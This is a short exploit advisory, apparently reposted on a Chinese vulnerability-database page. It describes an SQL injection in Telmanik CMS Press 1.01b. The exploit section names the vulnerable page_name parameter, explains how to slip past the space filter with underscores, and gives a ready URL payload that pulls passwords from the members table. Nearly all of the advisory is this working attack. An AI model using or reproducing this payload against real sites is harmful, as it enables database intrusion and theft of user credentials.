Telmanik CMS Press 1.01b SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1044661 漏洞类型
发布时间 2013-08-03 更新时间 2013-08-03
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2013080033
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x] Type: SQL Injection
[x] Vendor: www.telmanik.com
[x] Script Name: Telmanik CMS Press
[x] Script Version: 1.01b
[x] Script DL:
http://www.telmanik.com/download/Telmanik_CMS_Press/1.01_beta/telmanik_cms_press_v1.01_beta.zip
[x] Author: Anarchy Angel
[x] Mail : anarchy[at]dc414[dot]org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Exploit:
 
http://site.org/themes/pages.php?page_name=[SQLi]
 
you have to formate you injection like so:
union_select_row_from_table
Replacing spaces with ?_?.
 
Ex:
 
http://site.org/themes/pages.php?page_name=union_select_password_from_members
 
This is a special DefCon 21 kick off from me! See ya there [image: ;)]
 
Special Tnx : dc414, lun0s, proge, sToRm, progenic, gny